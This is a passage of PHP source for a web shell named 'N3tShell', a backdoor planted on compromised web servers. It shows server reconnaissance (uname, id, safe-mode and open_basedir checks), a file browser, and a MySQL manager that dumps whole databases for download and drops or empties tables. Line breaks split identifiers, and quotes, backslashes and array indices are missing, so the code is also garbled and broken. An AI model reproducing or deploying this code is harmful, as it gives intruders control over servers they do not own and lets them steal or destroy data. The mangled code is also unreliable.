$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIR
ECTORY_SEPARATOR,$tm
pdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;
}
if (empty($tmpdir_logs)
) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_log
s);}
if (@ini_get("safe_mode
") or strtolower(@ini_get(
"safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
$v = @ini_get("open_based
ir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</fo
nt>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($so
rt);
if (empty($sort)) {$sort = $sort_default;}
$sort = strtolower($sort);
$DISP_SERVER_SOFTWAR
E = getenv("SERVER_SOFTW
ARE");
if (!ereg("PHP/".phpver
sion(),$DISP_SERVER_
SOFTWARE)) {$DISP_SERVER_SOFTWA
RE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWAR
E = str_replace("PHP/".p
hpversion(),"<a href="".$surl."act=
phpinfo" target="_blank"><b
><u>PHP/".phpversion
()."</u></b></a>",ht
mlspecialchars($DISP
_SERVER_SOFTWARE));
@ini_set("highlight.
bg",$highlight_bg); //FFFFFF
@ini_set("highlight.
comment",$highlight_
comment); //#FF8000
@ini_set("highlight.
default",$highlight_
default); //#0000BB
@ini_set("highlight.
html",$highlight_htm
l); //#000000
@ini_set("highlight.
keyword",$highlight_
keyword); //#007700
@ini_set("highlight.
string",$highlight_s
tring); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($ac
t);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?>
<html><head><meta http-equiv="Content-
Type" content="text/html; charset=windows-1251
"><meta http-equiv="Content-
Language" content="en-us"><tit
le><?php echo getenv("HTTP_HOST"); ?> - N3t</title><STYLE>
TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color
: #800000; scrollbar-shadow-col
or: #101010; scrollbar-highlight-
color: #101010; scrollbar-3dlight-co
lor: #101010; scrollbar-darkshadow
-color: #101010; scrollbar-track-colo
r: #101010; scrollbar-arrow-colo
r: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknow
n { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{po
sition:absolute; width:200px; border:2px solid black; background-color:men
u; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}
.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibilit
y:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{pa
dding-left:15px; padding-right:10px;;
}input{background-co
lor: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{ba
ckground-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{back
ground-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{back
ground-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;}
</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><cente
r><TABLE style="BORDER-COLLAP
SE: collapse" height=1 cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1 bordercolor="#C0C0C0
"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0
" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></fon
t><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>N3tShell v. <?php echo $shver; ?></b></font></a><fo
nt face=Webdings size=6><b>!</b></fon
t></p></center></th>
</tr><tr><td><p align="left"><b>Soft
ware: <?php echo $DISP_SERVER_SOFTWAR
E; ?></b> </p><p align="left"><b>unam
e -a: <?php echo wordwrap(php_uname()
,90,"<br>",1); ?></b> </p><p align="left"><b><?ph
p if (!$win) {echo wordwrap(myshellexec
("id"),90,"<br>",1);
} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe
-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\",DIR
ECTORY_SEPARATOR,$d)
;
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIR
ECTORY_SEPARATOR,$d)
;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;
}
$d = str_replace("\\","
\",$d);
$dispd = htmlspecialchars($d)
;
$pd = $e = explode(DIRECTORY_SE
PARATOR,substr($d,0,
-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARAT
OR;
if ($j == $i) {break;}
$j++;
}
echo "<a href="".$surl."act=
ls&d=".urlencode($t)
."&sort=".$sort."">
<b>".htmlspecialchar
s($b).DIRECTORY_SEPA
RATOR."</b></a>";
$i++;
}
echo " "
;
if (is_writable($d))
{
$wd = TRUE;
$wdt = "<font color=green></font>";
echo "<b><font color=green>".view_p
erms(fileperms($d)).
"</font></b>";
}
else
{
$wd = FALSE;
$wdt = "<font color=red></font>";
echo "<b>".view_perms_col
or($d)."</b>";
}
if (is_callable("disk_f
ree_space"))
{
$free = disk_free_space($d);
$total = disk_total_space($d)
;
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$f
ree),2);
echo "<br><b>Free ".view_size($free)." of ".view_size($total).
" (".$free_percent."%)
</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
$v = explode("\",$d);
$v = $v;
foreach (range("a","z") as $letter)
{
$bool = $isdiskette = in_array($letter,$sa
femode_diskettes);
if (!$bool) {$bool = is_dir($letter.":\"
);}
if ($bool)
{
$letters .= "<a href="".$surl."act=
ls&d=".urlencode($le
tter.":\").""".($i
sdiskette?" onclick="return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')"":"")."></a> ";
}
}
if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item = str_replace("%d",url
encode($d),$item);
$item = str_replace("%sort",
$sort,$item);
$v = realpath($d."..");
if (empty($v)) {$a = explode(DIRECTORY_SE
PARATOR,$d); unset($a); $v = join(DIRECTORY_SEPAR
ATOR,$a);}
$item = str_replace("%upd",u
rlencode($v),$item);
echo "<a href="".$item."">".$item."</a> &n
bsp; ";
}
}
echo "</p></td></tr></tab
le><br>";
if ((!empty($donated_ht
ml)) and (in_array($act,$dona
ted_act))) {echo "<TABLE style="BORDER-COLLA
PSE: collapse" cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1><tr><td width="100%" valign="top">".$do
nated_html."</td></t
r></table><br>";}
echo "<TABLE style="BORDER-COLLA
PSE: collapse" cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1><tr><td width="100%" valign="top">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
$sql_surl = $surl."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlsp
ecialchars($sql_logi
n);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmls
pecialchars($sql_pas
swd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmls
pecialchars($sql_ser
ver);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspe
cialchars($sql_port)
;}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspeci
alchars($sql_db);}
$sql_surl .= "&";
?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAP
SE: collapse" height=1 cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1 bordercolor="#C0C0C0
"><tr><td width="100%" height="1" colspan="2" valign="top"><center
><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_s
erver.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sq
l_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_que
ry,$sql_sock); $sql_query_error = mysql_smarterror();}
}
else {$sql_sock = FALSE;}
echo "<b>SQL Manager:</b><br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "<center><b>Can't connect</b></center>
"; echo "<b>".$err."</b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl.
"act=sql&sql_login="
.htmlspecialchars($s
ql_login)."&sql_pass
wd=".htmlspecialchar
s($sql_passwd)."&sql
_server=".htmlspecia
lchars($sql_server).
"&sql_port=".htmlspe
cialchars($sql_port)
."&");
$sqlquicklaunch[] = array("Query",$sql_s
url."sql_act=query&s
ql_tbl=".urlencode($
sql_tbl));
$sqlquicklaunch[] = array("Server-status
",$surl."act=sql&sql
_login=".htmlspecial
chars($sql_login)."&
sql_passwd=".htmlspe
cialchars($sql_passw
d)."&sql_server=".ht
mlspecialchars($sql_
server)."&sql_port="
.htmlspecialchars($s
ql_port)."&sql_act=s
erverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."ac
t=sql&sql_login=".ht
mlspecialchars($sql_
login)."&sql_passwd=
".htmlspecialchars($
sql_passwd)."&sql_se
rver=".htmlspecialch
ars($sql_server)."&s
ql_port=".htmlspecia
lchars($sql_port)."&
sql_act=servervars")
;
$sqlquicklaunch[] = array("Processes",$s
url."act=sql&sql_log
in=".htmlspecialchar
s($sql_login)."&sql_
passwd=".htmlspecial
chars($sql_passwd)."
&sql_server=".htmlsp
ecialchars($sql_serv
er)."&sql_port=".htm
lspecialchars($sql_p
ort)."&sql_act=proce
sses");
$sqlquicklaunch[] = array("Logout",$surl
."act=sql");
echo "<center><b>MySQL ".mysql_get_server_i
nfo()." (proto v.".mysql_get_proto_
info ().") running in ".htmlspecialchars($
sql_server).":".html
specialchars($sql_po
rt)." as ".htmlspecialchars($
sql_login)."@".htmls
pecialchars($sql_ser
ver)." (password - "".htmlspecialchars
($sql_passwd)."")</
b><br>";
if (count($sqlquicklaun
ch) > 0) {foreach($sqlquickla
unch as $item) {echo ".""><b>".$item."</b></a> ] ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center
><font size="5"> i </font></center><li>
If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nb
sp;<b>Please, fill the form:</b><table><tr>
<td><b>Username</b><
/td><td><b>Password<
/b> </td><td><b
>Database</b> <
/td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td>
<input type="text" name="sql_login" value="root" maxlength="64"></td>
<td><input type="password" name="sql_passwd" value="" maxlength="64"></td>
<td><input type="text" name="sql_db" value="" maxlength="64"></td>
</tr><tr><td><b>Host
</b></td><td><b>PORT
</b></td></tr><tr><t
d align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td>
<td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><i
nput type="submit" value="Connect"></td
></tr><tr><td></td><
/tr></form></table><
/td><?php }
else
{
//Start left panel
if (!empty($sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_l
ogin=".htmlspecialch
ars($sql_login)."&sq
l_passwd=".htmlspeci
alchars($sql_passwd)
."&sql_server=".html
specialchars($sql_se
rver)."&sql_port=".h
tmlspecialchars($sql
_port)."&"; ?>"><b>Home</b></a><
hr size="1" noshade><?php
$result = mysql_list_tables($s
ql_db);
if (!$result) {echo mysql_smarterror();}
else
{
echo "------<br>";
$c = 0;
while ($row = mysql_fetch_array($r
esult)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row); $count_row = mysql_fetch_array($c
ount); echo "<b>� <a href="".$sql_surl."
sql_db=".htmlspecial
chars($sql_db)."&sql
_tbl=".htmlspecialch
ars($row).""><b>".htmlspeci
alchars($row)."</b></a> (".$count_row.")</br></b>"; mysql_free_result($c
ount); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else
{
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><
hr size="1" noshade><?php
$result = mysql_list_dbs($sql_
sock);
if (!$result) {echo mysql_smarterror();}
else
{
?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sq
l_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sq
l_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sq
l_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sq
l_port); ?>"><select name="sql_db"><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($res
ult)) {$dbs .= "<option value="".$row."""; if ($sql_db == $row) {$dbs .= " selected";} $dbs .= ">".$row."</option>"; $c++;}
echo "<option value="">Databases (".$c.")</option>";
echo $dbs;
}
?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?
php
}
//End left panel
echo "</td><td width="100%" height="1" valign="top">";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size="1" noshade><center><b>T
here are ".$c." table(s) in this DB (".htmlspecialchars(
$sql_db).").<br>";
if (count($dbquicklaunc
h) > 0) {foreach($dbsqlquick
launch as $item) {echo "."">".$item."</a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,
-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` n";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,
-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,
-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,
-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,
-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)
) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;n";} $sql_query = substr($sql_query,0,
-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_rad
io == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl_
insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."
`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strle
n($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_t
bl_insert) as $v) {if ($funct = $sql_tbl_insert_func
ts]) {$values .= $funct." (";} $values .= "'".addslashes($v)."
'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,str
len($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_rad
io == 2)
{
$set = mysql_buildwhere($sq
l_tbl_insert,", ",$sql_tbl_insert_fu
ncts);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q.
" LIMIT 1;";
$result = mysql_query($sql_que
ry) or print(mysql_smarterr
or());
$result = mysql_fetch_array($r
esult, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
echo "<hr size="1" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_err
or."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border="0" width="100%" height="1"><tr><td
><form action="".$sql_surl
."" method="POST"><b>"
; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textar
ea name="sql_query" cols="100" rows="10">".htmlsp
ecialchars($sql_quer
y)."</textarea><br><
br><input type="hidden" name="sql_act" value="query"><inp
ut type="hidden" name="sql_tbl" value="".htmlspecia
lchars($sql_tbl).""
><input type="hidden" name="submit" value="1"><input type="hidden" name="sql_goto" value="".htmlspecia
lchars($sql_goto)."
"><input type="submit" name="sql_confirm" value="Yes">
<input type="submit" value="No"></form>
</td></tr></table>";
}
}
if (in_array($sql_act,$
acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><inpu
t type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sq
l_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sq
l_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sq
l_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sq
l_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sq
l_port); ?>"><input type="text" name="sql_newtbl" size="20"> <inp
ut type="submit" value="Create"></for
m></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sq
l_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sq
l_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sq
l_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sq
l_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sq
l_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERV
ER_NAME")."_".$sql_d
b."_".date("d-m-Y-H-
i-s").".sql"; ?>"> <input type="submit" name="submit" value="Dump"></form>
</td><td width="30%" height="1"></td></tr
><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr
></table><?php
if (!empty($sql_act)) {echo "<hr size="1" noshade>";}
if ($sql_act == "newtbl")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))
) {echo "DB "".htmlspecialchars
($sql_newdb)."" has been created with success!</b><br>";
}
else {echo "Can't create DB "".htmlspecialchars
($sql_newdb)."".<br
>Reason:</b> ".mysql_smarterror()
;}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo ";<form method="GET"><inpu
t type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><inpu
t type="hidden" name="sql_db" value="".htmlspecia
lchars($sql_db)."">
<input type="hidden" name="sql_login" value="".htmlspecia
lchars($sql_login)."
"><input type="hidden" name="sql_passwd" value="".htmlspecia
lchars($sql_passwd).
""><input type="hidden" name="sql_server" value="".htmlspecia
lchars($sql_server).
""><input type="hidden" name="sql_port" value="".htmlspecia
lchars($sql_port)."
"><input type="hidden" name="sql_tbl" value="".htmlspecia
lchars($sql_tbl).""
><b>SQL-Dump:</b><br
><br>";
echo "<b>DB:</b> <in
put type="text" name="sql_db" value="".urlencode(
$sql_db).""><br><br
>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode ";") <b><sup>
1</sup></b>:</b>&nbs
p;<input type="text" name="dmptbls" value="".htmlspecia
lchars($v)."" size="".(strlen($v)
+5).""><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./
dump_".getenv("SERVE
R_NAME")."_".$sql_db
."_".date("d-m-Y-H-i
-s").".sql");}
echo "<b>File:</b> <
input type="text" name="sql_dump_file
" value="".$tmp."" size="".(strlen($tm
p)+strlen($tmp) % 30).""><br><br>";
echo "<b>Download: </b> <input type="checkbox" name="sql_dump_down
load" value="1" checked><br><br>";
echo "<b>Save to file: </b> <input type="checkbox" name="sql_dump_save
tofile" value="1" checked>";
echo "<br><br><input type="submit" name="submit" value="Dump"><br><
br><b><sup>1</sup></
b> - all, if empty";
echo "</form>";
}
else
{
$diplay = TRUE;
$set = array();
$set = $sql_sock;
$set = $sql_db;
$dump_out = "download";
$set = 0;
$set = 0;
$set = 0;
$set = $dump_file;
$set = TRUE;
$set = array();
if (!empty($dmptbls)) {$set = explode(";",$dmptbls
);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type
: application/octet-st
ream");
header("Content-leng
th: ".strlen($ret));
header("Content-disp
osition: attachment; filename="".basenam
e($sql_dump_file)."
";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofil
e)
{
$fp = fopen($sql_dump_file
,"w");
if (!$fp) {echo "<b>Dump error! Can't write to "".htmlspecialchars
($sql_dump_file).""
!";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to "".htmlspecialchars
(realpath($sql_dump_
file))."" (".view_size(filesiz
e($sql_dump_file))."
)</b>.";
}
}
else {echo "<b>Dump: nothing to do!</b>";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)
) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($c
ount);
mysql_free_result($c
ount);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($t
bl_struct_result)) {$tbl_struct_fields = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page
)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpag
e)) {$perpage = 10;}
$numpages = $count_row/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterr
or());
echo "<hr size="1" noshade><center><b>T
able ".htmlspecialchars($
sql_tbl)." (".mysql_num_fields(
$result)." cols and ".$count_row." rows)</b></center>";
echo "<a href="".$sql_surl."
sql_tbl=".urlencode(
$sql_tbl)."&sql_tbl_
act=structure"></a> &nbs
p; ";
echo "<a href="".$sql_surl."
sql_tbl=".urlencode(
$sql_tbl)."&sql_tbl_
act=browse">
</a> &nbs
p;";
echo "<a href="".$sql_surl."
sql_tbl=".urlencode(
$sql_tbl)."&sql_act=
tbldump&thistbl=1">
</a>  
; ";
echo "<a href="".$sql_surl."
sql_tbl=".urlencode(
$sql_tbl)."&sql_tbl_
act=insert">
</a> &nbs
p;";
if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_
insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_ins
ert_radio))
{
}
else
{
echo "<br><br><b>Insertin
g row into table:</b><br>";
if (!empty($sql_tbl_ins
ert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_inse
rt_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_que
ry,$sql_sock) or print("<br><br>".mys
ql_smarterror());
$values = mysql_fetch_assoc($r
esult);
mysql_free_result($r
esult);
}
else {$values = array();}
echo "<form method="POST"><TAB
LE cellSpacing=0 borderColorDark=#666
666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0
c0c0 border=1><tr><td><b>
Field</b></td><td><b
>Type</b></td><td><b
>Function</b></td><t
d><b>Value</b></td><
/tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field;
if (empty($sql_tbl_inse
rt_q)) {$v = "";}
echo "<tr><td><b>".htmlsp
ecialchars($name)."<
/b></td><td>".$field."</td><td><select name="sql_tbl_inser
t_functs">
<option value=""></option>
<option>PASSWORD</op
tion><option>MD5</op
tion><option>ENCRYPT
</option><option>ASC
II</option><option>C
HAR</option><option>
RAND</option><option
>LAST_INSERT_ID</opt
ion><option>COUNT</o
ption><option>AVG</o
ption><option>SUM</o
ption><option value="">--------<
/option><option>SOUN
DEX</option><option>
LCASE</option><optio
n>UCASE</option><opt
ion>NOW</option><opt
ion>CURDATE</option>
<option>CURTIME</opt
ion><option>FROM_DAY
S</option><option>FR
OM_UNIXTIME</option>
<option>PERIOD_ADD</
option><option>PERIO
D_DIFF</option><opti
on>TO_DAYS</option><
option>UNIX_TIMESTAM
P</option><option>US
ER</option><option>W
EEKDAY</option><opti
on>CONCAT</option></
select></td><td><inp
ut type="text" name="sql_tbl_inser
t" value="".htmlspecia
lchars($values)."" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type="radio" name="sql_tbl_inser
t_radio" value="1""; if (empty($sql_tbl_inse
rt_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_ins
ert_q)) {echo " or <input type="radio" name="sql_tbl_inser
t_radio" value="2" checked><b>Save</b>"
; echo "<input type="hidden" name="sql_tbl_inser
t_q" value="".htmlspecia
lchars($sql_tbl_inse
rt_q)."">";}
echo "<br><br><input type="submit" value="Confirm"></
form>";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size="1" noshade>";
echo "<img src="".$surl."act=i
mg&img=multipage" height="12" width="10" alt="Pages">
";
$b = 0;
for($i=0;$i<$numpage
s;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpag
e != $sql_tbl_le)) {echo "<a href="".$sql_surl."
sql_tbl=".urlencode(
$sql_tbl)."&sql_orde
r=".htmlspecialchars
($sql_order)."&sql_t
bl_ls=".($i*$perpage
)."&sql_tbl_le=".($i
*$perpage+$perpage).
""><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpag
e != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "<form method="GET"><inpu
t type="hidden" name="act" value="sql"><input type="hidden" name="sql_db" value="".htmlspecia
lchars($sql_db)."">
<input type="hidden" name="sql_login" value="".htmlspecia
lchars($sql_login)."
"><input type="hidden" name="sql_passwd" value="".htmlspecia
lchars($sql_passwd).
""><input type="hidden" name="sql_server" value="".htmlspecia
lchars($sql_server).
""><input type="hidden" name="sql_port" value="".htmlspecia
lchars($sql_port)."
"><input type="hidden" name="sql_tbl" value="".htmlspecia
